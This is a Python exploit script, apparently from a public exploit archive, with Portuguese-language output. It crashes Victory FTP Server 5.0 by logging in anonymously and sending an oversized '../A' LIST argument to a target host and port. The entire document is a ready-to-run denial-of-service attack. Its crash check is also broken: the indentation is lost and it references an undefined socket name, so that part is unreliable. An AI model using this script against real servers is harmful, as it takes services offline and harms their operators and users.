Victory FTP Server 5.0 Denial Of Service

`#!/usr/bin/python  
#  
#  
# xxx xxx xxxxxxxxxxx xxxxxxxxxxx xxxxxxxxxxx  
# xxx xxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx   
# xxx xxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx   
# xxxxx xxx xxx xxx xxx xxx xxx xxxxxx   
# xxx xxx xxx xxx xxx xxx xxx xxxxxxxx xxxxxxxx xxxxxxxxx  
# xxxxxx xxx xxx xxx xxx xxx xxx xx xx xx xx xx  
# xxx xxx xxx xxx xxx xxx xxx xxx xx xx xx xxxx xx xxxxx  
# xxx xxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxx xxxxxxxx xx xx xx xx  
# xxx xxx xxxxxxxxxxx xxxxxxxxxxx xxxxxxxxxxx xxx xxxxxx xx xx xxxxxxxxx  
#  
#  
#[+]Exploit Title: Exploit Denial of Service VicFTPS  
#[+]Date: 02\24\11  
#[+]Author C4SS!0 G0M3S  
#[+]Software Link: http://vicftps.50webs.com/VicFTPS-5.0-bin.zip  
#[+]Version: 5.0  
#[+]Tested On: WIN-XP SP3  
#[+]CVE: N/A  
#[+]Language: Portuguese  
#  
#  
#Author C4SS!0 G0M3S || Cassio Gomes  
#E-mail [email protected]  
#Site www.x000.org/  
#  
#  
  
  
import socket  
import time  
import os  
import sys  
  
if os.name == 'nt':  
os.system("cls")#SE FOR WINDOWS  
os.system("color 4f")  
else:  
os.system("clear")#SE FOR LINUX  
  
  
def usage():  
print """  
============================================================  
============================================================  
===============Exploit Denial of Service Vicftps 5.0========  
===============Autor C4SS!0 G0M3S || C\xe1ssio Gomes==========  
===============E-mail [email protected]==================  
===============Site www.x000.org/===========================  
============================================================  
============================================================  
"""  
  
  
if len(sys.argv)!=3:  
usage()  
print "\t\t[-]Modo de Uso: python %s <Host> <Porta>" % sys.argv[0]  
print "\t\t[-]Exemplo: python %s 192.168.1.2 21" % sys.argv[0]  
sys.exit(0)  
buf = "../A" * (330/4)  
usage()  
print "\t\t[+]Conectando-se Ao Servidor %s\n" % sys.argv[1]  
time.sleep(1)  
try:  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect((sys.argv[1],int(sys.argv[2])))  
print "\t\t[+]Checando se o Servidor e Vulneravel\n"  
time.sleep(1)  
banner = s.recv(2000)  
if((banner.find("VicFTPS"))!=-1):  
print "\t\t[+]Servidor e Vulneravel:)\n"  
time.sleep(1)  
else:  
print "\t\t[+]Sinto Muito, Servidor Nao e Vulneravel:(\n"  
time.sleep(1)  
print "\t\t[+]Enviando Exploit Denial of Service\n"  
time.sleep(1)  
  
s.send("USER anonymous\r\n")  
s.recv(2000)  
s.send("PASS\r\n")   
s.recv(2000)  
s.send("LIST "+buf+"\r\n")  
print "\t\t[+]Exploit Enviado Com Sucesso ao Servidor "+sys.argv[1]+"\n"  
time.sleep(1)  
print "\t\t[+]Checando Se o Exploit Funcionou\n"  
time.sleep(1)  
try:  
sock = socket.socket(socket.AF_INET,sock.SOCK_STREAM)  
s.connect((sys.argv[1],int(sys.argv[2])))  
print "\t\t[+]Sinto Muito o Exploit Nao Funcionou:(\n"  
time.sleep(1)  
sys.exit(0)  
except:  
print "\t\t[+]Exploit Funcionou, Servidor Derrubado:)\n"  
time.sleep(1)  
  
  
except:  
print "\t\t[+]Erro ao Se Conectar no Servidor "+sys.argv[1]+" Na Porta "+sys.argv[2]+"\n"  
  
`